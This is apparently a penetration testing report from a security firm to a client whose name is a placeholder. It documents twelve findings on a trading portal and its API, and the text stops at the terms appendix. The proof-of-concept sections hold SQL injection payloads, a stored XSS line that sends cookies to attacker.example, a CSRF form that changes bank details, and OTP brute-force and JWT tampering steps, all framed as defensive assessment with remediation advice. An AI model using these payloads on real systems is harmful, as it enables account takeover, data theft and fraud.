



HACKERHUB8 LLP

CIN – ACR-1466

ISO 9001:2015 | 27001:2022 Certified

Built with Purpose. Secured with Passion. Inspired by Innovation

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

Prepared for

XYZ COMPANY PVT. LTD.

Report Title	Web Application, API & Network VAPT Report
Client	XYZ Company Pvt. Ltd.
Engagement Reference	HH8/VAPT/2025/0147
Assessment Period	06 July 2025 – 17 July 2025
Report Version	1.1 (Final)
Report Date	24 July 2025
Classification	Confidential — Client & HackerHub8 Internal Use Only

TLP: RED — This document contains confidential security findings.



HACKERHUB8 LLP

Built with Purpose. Secured with Passion. Inspired by Innovation

ISO 9001:2015 | 27001:2022 Certified

9606969233, 8277269695

support@hackerhub8.in

www.hackerhub8.in

MIG A/12 JM Road KHB Colony
Bijapur Karnataka, 586104

Authorization & Declaration

This **Vulnerability Assessment and Penetration Testing (VAPT) Report** has been prepared by **HackerHub8 LLP** under the agreed **Rules of Engagement (RoE)** and client authorization. The assessment was conducted using industry-recognized methodologies, including **OWASP, PTES, NIST SP 800-115, CVSS v3.1**, and **ISO/IEC 27001:2022** security principles.

HackerHub8 LLP maintains the confidentiality of all client information in accordance with its **ISO 9001:2015** and **ISO/IEC 27001:2022** certified management systems. This engagement was performed in compliance with the **Information Technology Act, 2000**, the **Digital Personal Data Protection Act, 2023 (DPDP Act)**, applicable **CERT-In Directions**, and other relevant Indian laws.

This report is confidential and intended solely for **XYZ Company Pvt. Ltd.** Unauthorized reproduction, disclosure, or distribution is strictly prohibited. This document is authenticated through the **Digital Signature Certificate (DSC)** of the authorized representatives of HackerHub8 LLP.

Authorized by HackerHub8 LLP

HackerHub8 LLP Class 3 DSC Digital Signature Certificate	X HackerHub8 LLP Authorized Signatory
---	--

Prepared By	Reviewed By	Approved By
Aditi Rao	Priya Nataraj, OSCP	Rohit Malkani, CISA
Lead Penetration Tester	Security Reviewer	Authorized Signatory
Signature	Signature	Signature

Date: _____
(Director seal & signature)

HackerHub8 LLP

Built with Purpose. Secured with Passion. Inspired by Innovation.

Table of Contents

1. Document Control.....	3
2. About HackerHub8.....	5
3. Executive Summary.....	6
4. Methodology & Approach	7
5. Assessment Scope.....	8
6. Risk Rating Methodology.....	10
7. Tools Used During Assessment	11
8. Detailed Technical Findings	12
8.1 Unauthenticated SQL Injection in Trade History Search.....	13
8.2 Broken Object Level Authorization (IDOR) — Contract Notes	15
8.3 Stored Cross-Site Scripting (XSS) — Support Tickets.....	17
8.4 Cross-Site Request Forgery (CSRF) — Bank Account Update.....	19
8.5 Missing Rate Limiting — Login & OTP Verification	21
8.6 JWT Signature Algorithm & Long Expiry Misconfiguration	22
8.7 Sensitive Information Disclosure in API Responses	23
8.8 Clickjacking — Missing X-Frame-Options.....	24
8.9 Missing HTTP Security Headers (HSTS & CSP)	25
8.10 Use of Outdated Third-Party JavaScript Libraries	26
8.11 User Enumeration via Password-Reset / Login	27
8.12 Password Policy Complexity (Informational)	28
9. OWASP Top 10 (2021) Coverage Map.....	29
Appendix A Open Port Information	30
Appendix B Terms & Conditions.....	31
Disclaimer	32
Contact Us.....	33



1. Document Control

This report remains the intellectual property of HackerHub8 LLP and should not be redistributed outside XYZ Company Pvt. Ltd. without the explicit written permission of the HackerHub8 Information Security Testing team.

1.1 Document Details

Field	Details
Document Type	VAPT Report — IT & Application Landscape of XYZ Company Pvt. Ltd.
Document Owner	HackerHub8 LLP
Classification	Confidential

1.2 Authors & Approvers

Role	Name	Email
Lead Penetration Tester	Aditi Rao	aditi.rao@hackerhub8.in
Security Consultant	Varun Shetty	varun.shetty@hackerhub8.in
Reviewed & Verified By	Priya Nataraj, OSCP	priya.nataraj@hackerhub8.in
Approved By	Rohit Malkani, CISA	rohit.malkani@hackerhub8.in

1.3 Revision History

Version	Date	Author	Description
0.1	12-07-2025	Aditi Rao	Draft report creation
1.0	18-07-2025	Varun Shetty	Internal review comments incorporated
1.1	24-07-2025	Aditi Rao	Final release after client walkthrough

1.4 Assessment Information

Field	Details
Client	XYZ Company Pvt. Ltd.
Assessment Type	Web Application + API + External Network VAPT
Engagement Ref. & Date	HH8/VAPT/2025/0147 & 01-07-2025
Client Contact Person	Meenal Kapoor, Head of IT Security
Contact Number / Email	+91 12345 67890 / abc@xyz.com.com
Assessment Period	06 July 2025 to 17 July 2025
Report Date	24 July 2025

1.5 Notice of Confidentiality

This document contains proprietary and confidential information of HackerHub8 LLP and XYZ Company Pvt. Ltd. The recipient agrees to hold this information in confidence and not to reproduce, distribute, or disclose it to any third party without prior written consent from HackerHub8 LLP. There is no obligation to protect information that was already known to the recipient prior to receipt, or that becomes publicly available through no fault of the recipient.

2. About HackerHub8

HackerHub8 LLP is a Karnataka-headquartered cybersecurity company delivering next-generation offensive and defensive security services. We help organisations identify, exploit and remediate weaknesses across web, API, network, cloud, mobile and wireless attack surfaces before real adversaries can — combining automated tooling with deep, human-led manual testing.

HackerHub8 is an ISO 9001:2015 and ISO/IEC 27001:2022 certified enterprise, reflecting our commitment to quality management and information security best practice across every engagement we deliver.

2.1 Track Record

Metric	Figure
Assessments Delivered	500+
Critical Vulnerabilities Identified	1,000+
Average Report Turnaround	48 hours post-testing
Client Satisfaction Score	98%

2.2 Our Service Portfolio

- Vulnerability Assessment & Penetration Testing (VAPT) — Web, API, Network, Cloud, Mobile & Wireless
- Governance, Risk & Compliance (GRC) advisory and framework implementation
- Managed Detection & Response (MDR)
- Security Operations Center (SOC) design and deployment
- Cyber Investigation — digital forensics & incident analysis
- Training, Awareness & Employee Cyber-Risk Workshops

2.3 Frameworks & Standards We Test Against

Every HackerHub8 engagement is aligned to recognised international frameworks to ensure exhaustive, audit-ready coverage:

- OWASP Top 10 & OWASP Testing Guide
- Penetration Testing Execution Standard (PTES)
- NIST SP 800-115
- MITRE ATT&CK Framework
- CIS Benchmarks
- CVSS v3.1 Scoring Standard
- ISO/IEC 27001
- Open Source Security Testing Methodology Manual (OSSTMM)

3. Executive Summary

HackerHub8 LLP was engaged by XYZ Company Pvt. Ltd. to conduct a comprehensive Vulnerability Assessment and Penetration Testing (VAPT) exercise covering the customer-facing web portal, supporting REST APIs, and the internet-facing network perimeter. Testing was performed as a grey-box engagement combining automated vulnerability scanning with manual, human-led exploitation.

This report presents the technical findings, business risk context, and prioritised remediation guidance arising from the assessment, along with a synopsis intended for both technical and management stakeholders.

3.1 Objectives

- Identify exploitable vulnerabilities and insufficiently configured security controls across the in-scope assets.
- Determine the likelihood and business impact of exploitation by an informed or uninformed external attacker.
- Benchmark existing security controls against OWASP Top 10, PTES, NIST 800-115 and CIS best practice.
- Provide clear, actionable, prioritised remediation guidance for the engineering and IT teams.

3.2 Scope & Timeframe

Active testing and verification were carried out between 06 July 2025 and 17 July 2025, from outside the client network over the internet, simulating an unauthenticated and low-privilege authenticated external attacker.

3.3 Summary of Strengths

The assessment also identified the following positive security practices already in place:

- TLS 1.2/1.3 enforced on all public-facing endpoints with no legacy SSLv2/SSLv3 support.
- File upload functionality on the KYC document module correctly restricts executable file types.
- Administrative back-office interfaces are not directly reachable from the public internet.

3.4 Summary of Findings

The engagement identified a total of 12 findings across the in-scope assets, distributed by severity as follows:

Severity	Count
Critical	1
High	3
Medium	3
Low	4
Informational	1

Overall Risk Posture: HIGH

The presence of one Critical and three High severity findings — including an unauthenticated SQL injection vector and a broken-access-control issue exposing other customers' financial records — represents an immediate and material risk to XYZ Company's data confidentiality and regulatory standing. HackerHub8 strongly recommends remediating the Critical and High findings within 7 days, followed by a free-of-charge retest.

4. Methodology & Approach

HackerHub8's VAPT methodology blends Vulnerability Assessment (breadth) with Penetration Testing (depth) into one structured, repeatable six-step engagement lifecycle:

Step	Phase	Description
01	Scope & Recon	Define in-scope assets and map the external and internal attack surface through OSINT, DNS, and subdomain enumeration.
02	Assessment	Automated vulnerability scanning across web, API and network layers to surface known CVEs and misconfigurations.
03	Exploitation	Manual, human-led penetration testing — chaining findings and bypassing controls to validate real-world exploitability.
04	Risk Analysis	Every validated finding is scored using CVSS v3.1 and weighed against real business impact to the client.
05	Reporting	Clear, prioritised findings with proof-of-concept evidence, delivered without unnecessary jargon or noise.
06	Remediation & Retest	Guided remediation support from our engineers, followed by a complimentary retest to confirm closure.

4.1 Two Disciplines, One Picture of Risk

Vulnerability Assessment (VA): Applications, networks and infrastructure are scanned end-to-end using automated tooling and manual validation, building a complete, severity-ranked inventory of misconfigurations, outdated components, weak access controls, and known CVEs.

Penetration Testing (PT): Our security engineers then think and act like real attackers — manually chaining vulnerabilities, bypassing controls, and attempting genuine exploitation in a safe, controlled manner. This step separates theoretical risk from what an adversary could actually leverage.

5. Assessment Scope

5.1 In-Scope Web Application & API Assets

#	Asset (URL)
1	https://portal.xyz.com/ (Customer Web Portal)
2	https://api.xyz.com/v2/ (Customer & Trading REST API)

5.2 In-Scope Network / Infrastructure Assets

#	IP Address	Description
1	103.44.host-redacted.21	Primary Load Balancer / Web Front-End
2	103.44.host-redacted.22	API Gateway
3	203.0.113.10	Perimeter Firewall / VPN Concentrator

5.3 Test Accounts Provisioned by Client

User	Role
qa.testers1@xyz.com	Self-registered retail customer (low-privilege)
qa.testers2@xyz.com	Self-registered retail customer — second account (for IDOR/CSRF testing)

5.4 Environment Details

Attribute	Details
Environment	Production
Accessibility	Internet-facing
Authentication Method	Email/Password + OTP (2FA)
Hosting / Backend	AWS (ap-south-1)

5.5 Out of Scope

- Social Engineering / Phishing simulations
- Denial of Service (DoS/DDoS) testing
- Physical security testing
- Third-party payment gateway internals (Razorpay/PayU infrastructure)

5.6 Testing Constraints

As this is a live production environment supporting active retail trading customers, the following activities were deliberately excluded to avoid service disruption:

- Denial of Service (DoS) attacks
- Unthrottled brute-force attacks against production accounts
- Destructive data manipulation or deletion
- Exhaustive, unauthenticated vulnerability flooding of production infrastructure

6. Risk Rating Methodology

HackerHub8 rates every finding using the Common Vulnerability Scoring System (CVSS) v3.1, a numerical (0–10) representation of severity derived from Exploitability, Scope and Impact sub-metrics (Attack Vector, Attack Complexity, Privileges Required, User Interaction, Confidentiality, Integrity and Availability).

CVSS Score Range	Severity	
9.0 – 10.0	Critical	
7.0 – 8.9	High	
4.0 – 6.9	Medium	
0.1 – 3.9	Low	
0.0	Informational	

Vulnerability Level Descriptions

Level	Description
Critical	Exploitation may result in complete compromise of the database, application, or supporting server, with major business impact. Typically remotely exploitable with no authentication required.
High	Exploitation may result in significant compromise of the application or disclosure of sensitive data. Easily exploitable, often with limited privileges required.
Medium	Exploitation may grant partial control of the application or disclose semi-sensitive information. Possible but comparatively more difficult to exploit.
Low	Exploitation results in little to no direct impact, or the disclosure of non-sensitive information. Exploitation is difficult or requires unusual conditions.
Informational	Indicates a missing best practice or hardening opportunity. No immediate exploitable risk, but may become one as the application or threat landscape evolves.

7. Tools Used During Assessment

Tool	Purpose
Burp Suite Professional	Intercepting proxy for manual manipulation of HTTP/S requests and responses
Nmap	Network discovery and open port / service enumeration
Nessus Professional	Automated vulnerability and misconfiguration scanning
OWASP ZAP	Automated and semi-automated web application scanning
Nikto	Web-server misconfiguration and known-vulnerability scanning
SQLmap	Automated SQL injection detection and exploitation
Postman / Custom Scripts	API request crafting, fuzzing, and authorization testing
Kali Linux Toolset	General-purpose exploitation and enumeration toolkit
JWT.io / jwt_tool	JSON Web Token structure analysis and tampering

8. Detailed Technical Findings

This section documents each vulnerability identified during the engagement, including affected assets, CVSS scoring, business and technical impact, proof-of-concept evidence, and remediation guidance. Findings are ordered by descending severity.

8.0 Findings Index

#	Vulnerability Name	Severity	CVSS
1	Unauthenticated SQL Injection in Trade History Search	Critical	9.8
2	Broken Object Level Authorization (IDOR) on Contract Note Download	High	8.1
3	Stored Cross-Site Scripting (XSS) in Support Ticket Subject Field	High	7.6
4	Cross-Site Request Forgery (CSRF) on Bank Account Update	High	7.1
5	Missing Rate Limiting on Login & OTP Verification Endpoints	Medium	6.5
6	JWT Signature Algorithm & Long Expiry Misconfiguration	Medium	6.1
7	Sensitive Information Disclosure in API Responses	Medium	5.3
8	Clickjacking — Missing X-Frame-Options / frame-ancestors	Low	3.7
9	Missing HTTP Security Headers (HSTS & Content-Security-Policy)	Low	3.1
10	Use of Outdated Third-Party JavaScript Libraries	Low	3.1
11	User Enumeration via Password-Reset & Login Error Messages	Low	3.7
12	Password Policy Does Not Enforce Recommended Complexity	Informational	0.0

8.1. Unauthenticated SQL Injection in Trade History Search

Severity: Critical

Field	Details
CVSS v3.1 Score / Vector	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Asset	https://api.xyz.com/v2/trades/search?symbol=
OWASP Category	A03:2021 — Injection

Description

The 'symbol' parameter of the trade-history search endpoint is concatenated directly into a backend SQL query without parameterisation or input sanitisation. By supplying boolean- and time-based payloads, the testing team confirmed that arbitrary SQL statements could be executed against the underlying database without any authentication.

Business Impact

A remote, unauthenticated attacker can read, modify or destroy the entire trading database, including customer PII, KYC documents, bank account details and order history — a severe regulatory and reputational risk for a SEBI-regulated broking entity.

Technical Impact

Full database compromise, potential lateral movement to other backend services, and possible remote code execution depending on database engine configuration (xp_cmdshell / stacked queries).

Steps to Reproduce / Proof of Concept

- Step 1: Send a GET request to /v2/trades/search?symbol=RELIANCE'AND'1'=1
- Step 2: Observe that the query returns results for all symbols rather than an error, confirming the injectable parameter.
- Step 3: Use time-based blind payload symbol=RELIANCE' AND SLEEP(8)-- - and observe an 8-second response delay, confirming execution.
- Step 4: Use SQLmap against the endpoint with --risk=1 --level=1 to enumerate database name, table structure and extract sample records for evidence (non-destructive proof-of-concept only).

```
GET /v2/trades/search?symbol=RELIANCE'+AND+SLEEP(8)--+- HTTP/1.1
Host: api.xyz.com
Authorization: (none required)
HTTP/1.1 200 OK
(response delayed by ~8.1 seconds, confirming blind SQL injection)
```

Suggested Remediation

- Rewrite all database queries to use parameterised statements / prepared statements or a vetted ORM — never concatenate user input into SQL strings.
- Apply strict allow-list input validation on the 'symbol' parameter (e.g. alphanumeric ticker format only).
- Deploy a Web Application Firewall (WAF) as a compensating control while remediation is rolled out.
- Run the application database service with the least privilege required (no DDL/DROP rights for the application service account).

Reference Links

- https://owasp.org/www-community/attacks/SQL_Injection
- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

8.2. Broken Object Level Authorization (IDOR) on Contract Note Download

Severity: High

Field	Details
CVSS v3.1 Score / Vector	8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Affected Asset	https://portal.xyz.com/documents/contract-note?id=
OWASP Category	A01:2021 — Broken Access Control

Description

The contract-note download feature references documents by a sequential numeric 'id' parameter. The server does not verify that the authenticated session owns the requested document, allowing any logged-in customer to retrieve any other customer's contract notes simply by incrementing the id value.

Business Impact

Any registered customer can download the trading contract notes (containing full name, PAN, bank details and trade values) of every other customer on the platform — a direct violation of SEBI data-protection obligations and the DPDP Act, 2023.

Technical Impact

Mass, automatable data exfiltration of sensitive financial documents belonging to the entire customer base.

Steps to Reproduce / Proof of Concept

- Step 1: Log in as test account qa.tester1 and download own contract note at /documents/contract-note?id=48213, noting the URL pattern.
- Step 2: While still authenticated as qa.tester1, replace the id with a neighbouring value (48214) belonging to qa.tester2.
- Step 3: Confirm the document downloaded belongs to qa.tester2 and contains their PII and trade data.
- Step 4: Script a loop over a range of IDs to demonstrate bulk-download feasibility (test limited to 20 sequential IDs for proof-of-concept, then halted).

```
GET /documents/contract-note?id=48214 HTTP/1.1
Host: portal.xyz.com
Cookie: session=qa.tester1-session>
HTTP/1.1 200 OK
Content-Type: application/pdf
(Returns contract note belonging to a different customer account)
```

Suggested Remediation

- Enforce server-side object-level authorization checks on every document/resource fetch — verify the requesting session owns the resource before returning it.
- Replace sequential numeric identifiers with non-guessable UUIDs for all customer-document references.
- Add automated authorization test cases (BOLA/IDOR) to the CI/CD pipeline for every new resource endpoint.

Reference Links

- https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html

8.3. Stored Cross-Site Scripting (XSS) in Support Ticket Subject Field

Severity: High

Field	Details
CVSS v3.1 Score / Vector	7.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N)
Affected Asset	https://portal.xyz.com/support/new-ticket
OWASP Category	A03:2021 — Injection (XSS)

Description

The 'Subject' field of the customer support ticket form does not sanitise or encode user input before it is rendered on the internal support-agent dashboard. A malicious script submitted by any customer executes in the browser session of the support agent who opens the ticket.

Business Impact

An attacker (any registered customer) can hijack a support agent's authenticated session, potentially escalating to access over other customers' accounts and back-office tooling.

Technical Impact

Session token theft, credential harvesting via fake login overlays, and further internal reconnaissance from the compromised agent's browser context.

Steps to Reproduce / Proof of Concept

- Step 1: Log in as qa.testers1 and raise a new support ticket.
- Step 2: In the Subject field, enter the payload:
- Step 3: Submit the ticket and wait for a support agent to open it in the internal dashboard.
- Step 4: Confirm (via a controlled test listener) that the payload executed and the agent's session cookie was exfiltrated.

```
POST /support/new-ticket HTTP/1.1
Host: portal.xyz.com
Content-Type: application/x-www-form-urlencoded

subject=<img src=x
onerror=fetch('https://attacker.example/c?d='+document.cookie)>&body=Please+assist
```

Suggested Remediation

- Apply context-aware output encoding (HTML entity encoding) to all user-supplied data rendered in the agent dashboard.
- Implement a strict Content-Security-Policy (CSP) header disallowing inline script execution.
- Set the HttpOnly and Secure flags on all session cookies to limit the impact of any residual XSS.

Reference Links

- <https://owasp.org/www-community/attacks/xss/>
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

8.4. Cross-Site Request Forgery (CSRF) on Bank Account Update

Severity: High

Field	Details
CVSS v3.1 Score / Vector	7.1 (AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N)
Affected Asset	https://portal.xyz.com/settings/bank-account
OWASP Category	A01:2021 — Broken Access Control (CSRF)

Description

The bank-account update endpoint accepts and processes POST requests without validating an anti-CSRF token, and the session cookie is issued without a SameSite attribute. This allows an attacker-hosted page to silently submit a bank-account change on behalf of an authenticated victim who simply visits the malicious page.

Business Impact

An attacker can redirect a victim's future trade settlements and withdrawals to an account under the attacker's control, resulting in direct financial loss to the customer.

Technical Impact

Unauthorized state-changing action performed cross-origin using the victim's authenticated session, with no user awareness until funds are misdirected.

Steps to Reproduce / Proof of Concept

- Step 1: Log in as qa.test1 and capture the bank-account update request in Burp Suite.
- Step 2: Generate a self-submitting HTML PoC form (Burp's 'Generate CSRF PoC') that posts a new account number/IFSC to the endpoint.
- Step 3: Host the PoC page and, while an active qa.test1 session is open in a separate tab, open the PoC page.
- Step 4: Confirm that the bank account on the profile has silently changed to the attacker-supplied value, with no confirmation prompt or OTP challenge.

```
<html><body onload="document.forms[0].submit()">
<form action="https://portal.xyz.com/settings/bank-account" method="POST">
  <input type="hidden" name="accountNumber" value="999900011122">
  <input type="hidden" name="ifsc" value="ATTK0000999">
</form>
</body></html>
```

Suggested Remediation

- Implement synchroniser anti-CSRF tokens on all state-changing requests, validated server-side.
- Set the SameSite=Strict (or at minimum Lax) attribute on all session cookies.
- Require re-authentication (password) and OTP confirmation for any change to payout / bank-account details.

Reference Links

- https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

8.5. Missing Rate Limiting on Login & OTP Verification Endpoints

Severity: Medium

Field	Details
CVSS v3.1 Score / Vector	6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)
Affected Asset	https://portal.xyz.com/api/auth/login , /api/auth/verify-otp
OWASP Category	A07:2021 — Identification and Authentication Failures

Description

Neither the login endpoint nor the 6-digit OTP verification endpoint enforce any per-account or per-IP rate limiting, account lockout, or CAPTCHA challenge after repeated failed attempts.

Business Impact

Customer accounts are exposed to credential-stuffing and brute-force attacks; a 6-digit OTP without throttling can realistically be brute-forced within its validity window.

Technical Impact

Automated tooling (e.g. Burp Intruder) was able to send over 4,000 login attempts within 10 minutes without being blocked, rate-limited, or triggering any alert.

Steps to Reproduce / Proof of Concept

- Step 1: Capture a login request in Burp Suite and send it to Intruder.
- Step 2: Configure a password list and run the attack against a test account; observe no lockout, CAPTCHA, or delay after 50+ consecutive failures.
- Step 3: Repeat against the OTP verification endpoint using a sequential 000000–999999 payload set on a test account, observing no throttling.

Suggested Remediation

- Implement progressive account lockout / exponential back-off after 5 consecutive failed attempts.
- Add CAPTCHA or equivalent challenge after repeated failures from the same IP/account.
- Rate-limit OTP verification attempts to a maximum of 5 tries per OTP, invalidating the OTP thereafter.

Reference Links

- https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

8.6. JWT Signature Algorithm & Long Expiry Misconfiguration

Severity: Medium

Field	Details
CVSS v3.1 Score / Vector	6.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)
Affected Asset	https://api.xyz.com/v2/ (Authorization: Bearer tokens)
OWASP Category	A02:2021 — Cryptographic Failures

Description

Issued JWT access tokens accept the 'none' algorithm during header manipulation testing on a staging mirror, and production tokens are configured with a 30-day expiry with no server-side revocation mechanism.

Business Impact

A stolen or leaked access token remains valid and usable for up to 30 days even after logout or password change, extending the attacker's window of opportunity significantly.

Technical Impact

Long-lived, non-revocable bearer tokens increase the blast radius of any token leakage (e.g. via XSS, log exposure, or a lost device).

Steps to Reproduce / Proof of Concept

- Step 1: Decode a production JWT using jwt.io and inspect the 'exp' claim, confirming a 30-day validity period.
- Step 2: On the staging mirror, modify the JWT header algorithm to 'none' and strip the signature; observe the API server did not consistently reject the token.
- Step 3: Confirm that logging out via the application UI does not invalidate the previously issued token when replayed directly against the API.

Suggested Remediation

- Explicitly allow-list only strong signing algorithms (e.g. RS256) server-side and reject tokens using 'none' or unexpected algorithms.
- Reduce access-token expiry to 15–20 minutes, paired with short-lived, rotating refresh tokens.
- Implement a server-side token revocation/denylist checked on every request, invalidated on logout and password change.

Reference Links

- <https://datatracker.ietf.org/doc/html/rfc8725>
- https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html

8.7. Sensitive Information Disclosure in API Responses

Severity: Medium

Field	Details
CVSS v3.1 Score / Vector	5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Affected Asset	https://api.xyz.com/v2/user/profile
OWASP Category	A02:2021 — Cryptographic Failures / Sensitive Data Exposure

Description

The user-profile API response includes internal fields not required by the front-end, including partially masked PAN numbers, internal risk-scoring flags, and third-party integration identifiers (Slack/Jira workspace IDs used internally by support tooling).

Business Impact

Exposure of internal identifiers and partial PII gives an attacker reconnaissance value for further social-engineering or targeted attacks, and represents an over-broad data exposure inconsistent with data-minimisation principles.

Technical Impact

Client-side response payloads are larger than necessary and leak backend implementation and internal tooling details.

Steps to Reproduce / Proof of Concept

- Step 1: Authenticate as qa.testers1 and call GET /v2/user/profile.
- Step 2: Inspect the JSON response body and identify fields beyond what is rendered on the profile page (internal_risk_score, support_slack_id, integration tokens).

Suggested Remediation

- Apply a strict response DTO / serializer allow-list so only fields required by the client are returned.
- Mask or omit sensitive identifiers (PAN, internal scoring) from any client-facing API response.
- Review all API responses for over-fetching as part of the standard secure-SDLC checklist.

Reference Links

- <https://cwe.mitre.org/data/definitions/213.html>

8.8. Clickjacking — Missing X-Frame-Options / frame-ancestors

Severity: Low

Field	Details
CVSS v3.1 Score / Vector	3.7 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N)
Affected Asset	https://portal.xyz.com/ (all pages)
OWASP Category	A05:2021 — Security Misconfiguration

Description

The application does not send an X-Frame-Options header or a CSP frame-ancestors directive, allowing the site to be embedded within an attacker-controlled iframe.

Business Impact

An attacker could overlay deceptive UI elements to trick an authenticated user into performing unintended actions (e.g. confirming a trade or fund transfer) via UI redress.

Technical Impact

The application can be fully rendered inside a third-party iframe with no browser-level restriction.

Steps to Reproduce / Proof of Concept

- Step 1: Create a simple HTML page embedding https://portal.xyz.com/ in an <iframe>.
- Step 2: Open the page in a browser and confirm the application renders normally inside the frame with no blocking or console error.

Suggested Remediation

- Send X-Frame-Options: DENY (or SAMEORIGIN where legitimate framing is required) on every response.
- Additionally implement Content-Security-Policy: frame-ancestors 'none' for defense-in-depth.

Reference Links

- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html

8.9. Missing HTTP Security Headers (HSTS & Content-Security-Policy)

Severity: Low

Field	Details
CVSS v3.1 Score / Vector	3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)
Affected Asset	https://portal.xyz.com/ , https://api.xyz.com/
OWASP Category	A05:2021 — Security Misconfiguration

Description

Neither Strict-Transport-Security (HSTS) nor a Content-Security-Policy header is present in server responses across the web portal and API.

Business Impact

Absence of HSTS leaves users briefly exposed to SSL-stripping / protocol-downgrade attacks on unsecured networks; absence of CSP removes an important defense-in-depth layer against XSS and data injection.

Technical Impact

Response headers reviewed via Burp Suite confirm both headers are absent on all tested endpoints.

Steps to Reproduce / Proof of Concept

- Step 1: Capture responses from the portal and API in Burp Suite and inspect the response headers.
- Step 2: Confirm the absence of Strict-Transport-Security and Content-Security-Policy across all captured responses.

Suggested Remediation

- Add Strict-Transport-Security: max-age=31536000; includeSubDomains; preload to all HTTPS responses.
- Design and roll out a Content-Security-Policy restricting script, style and frame sources to trusted origins.

Reference Links

- <https://owasp.org/www-project-secure-headers/>

8.10. Use of Outdated Third-Party JavaScript Libraries

Severity: Low

Field	Details
CVSS v3.1 Score / Vector	3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)
Affected Asset	https://portal.xyz.com/ (static assets)
OWASP Category	A06:2021 — Vulnerable and Outdated Components

Description

The web portal loads jQuery 1.11.0 and Bootstrap 3.1.1, both of which have multiple publicly disclosed XSS and prototype-pollution vulnerabilities that were patched in later releases.

Business Impact

Running components with known, public vulnerabilities increases the likelihood of successful exploitation, particularly where patches for disclosed CVEs already exist.

Technical Impact

Version fingerprinting via Retire.js confirmed multiple medium-severity CVEs applicable to the deployed jQuery and Bootstrap versions.

Steps to Reproduce / Proof of Concept

- Step 1: Run the Retire.js browser extension against the portal home page.
- Step 2: Confirm detection of jQuery 1.11.0 and Bootstrap 3.1.1 with associated CVE references.

Suggested Remediation

- Upgrade jQuery and Bootstrap to their latest supported stable releases.
- Adopt a dependency-scanning tool (e.g. Snyk, Dependabot) in the CI/CD pipeline to flag outdated front-end and back-end libraries automatically.

Reference Links

- <https://retire.js/>

8.11. User Enumeration via Password-Reset & Login Error Messages

Severity: Low

Field	Details
CVSS v3.1 Score / Vector	3.7 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Affected Asset	https://portal.xyz.com/forgot-password , /login
OWASP Category	A07:2021 — Identification and Authentication Failures

Description

The forgot-password and login forms return distinguishable messages ('No account found for this email' vs 'Incorrect password') depending on whether the submitted email address is registered, allowing enumeration of valid customer accounts.

Business Impact

Enumerated, confirmed-valid email addresses can be used as a target list for subsequent credential-stuffing or phishing campaigns against real XYZ Company customers.

Technical Impact

Registered vs. unregistered emails can be distinguished with a single unauthenticated request per candidate address.

Steps to Reproduce / Proof of Concept

- Step 1: Submit the forgot-password form with a known registered email and observe the response message.
- Step 2: Submit the same form with a randomly generated, unregistered email address and compare the differing response text.

Suggested Remediation

- Return an identical generic message for both cases, e.g. 'If an account exists for this email, a reset link has been sent.'
- Apply the same principle consistently across login, registration and password-reset flows.

Reference Links

- <https://blog.rapid7.com/2017/06/15/about-user-enumeration/>

8.12. Password Policy Does Not Enforce Recommended Complexity

Severity: Informational

Field	Details
CVSS v3.1 Score / Vector	0.0 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N)
Affected Asset	https://portal.xyz.com/register , /settings/change-password
OWASP Category	A07:2021 — Identification and Authentication Failures

Description

The registration and change-password forms accept passwords as short as 6 characters with no complexity, dictionary, or breached-password (e.g. HavelBeenPwned range API) checks.

Business Impact

Weak, easily guessed or previously breached passwords increase the population of accounts susceptible to credential-stuffing attacks.

Technical Impact

Testing confirmed that '123456' and 'password' are both accepted as valid new passwords.

Steps to Reproduce / Proof of Concept

- Step 1: Attempt to register a new test account using the password '123456'.
- Step 2: Confirm the account is created successfully with no complexity or breached-password warning.

Suggested Remediation

- Enforce a minimum length of 10–12 characters combined with a breached-password check (e.g. via the HavelBeenPwned k-Anonymity API) rather than arbitrary character-class rules.
- Provide real-time password-strength feedback to users at registration and change-password time.

Reference Links

- <https://pages.nist.gov/800-63-3/sp800-63b.html>

9. OWASP Top 10 (2021) Coverage Map

The table below maps the assessment findings against the OWASP Top 10 (2021) categories to give stakeholders a quick view of coverage against the industry-standard risk taxonomy.

Category	Identified in this Assessment
A01:2021 — Broken Access Control	Yes
A02:2021 — Cryptographic Failures	Yes
A03:2021 — Injection	Yes
A04:2021 — Insecure Design	No
A05:2021 — Security Misconfiguration	Yes
A06:2021 — Vulnerable and Outdated Components	Yes
A07:2021 — Identification and Authentication Failures	Yes
A08:2021 — Software and Data Integrity Failures	No
A09:2021 — Security Logging and Monitoring Failures	No
A10:2021 — Server-Side Request Forgery (SSRF)	No

Appendix A | Open Port Information

103.44.host-redacted.21 (Web Front-End)

Port	Protocol	State	Service	Version
443	tcp	open	https	nginx 1.24 (TLS 1.2/1.3)
80	tcp	open	http	nginx 1.24 (redirects to HTTPS)
22	tcp	filtered	ssh	—

103.44.host-redacted.22 (API Gateway)

Port	Protocol	State	Service	Version
443	tcp	open	https	AWS API Gateway
8443	tcp	filtered	https-alt	Internal management (not publicly reachable)

Appendix B | Terms & Conditions

Confidentiality and Non-Disclosure

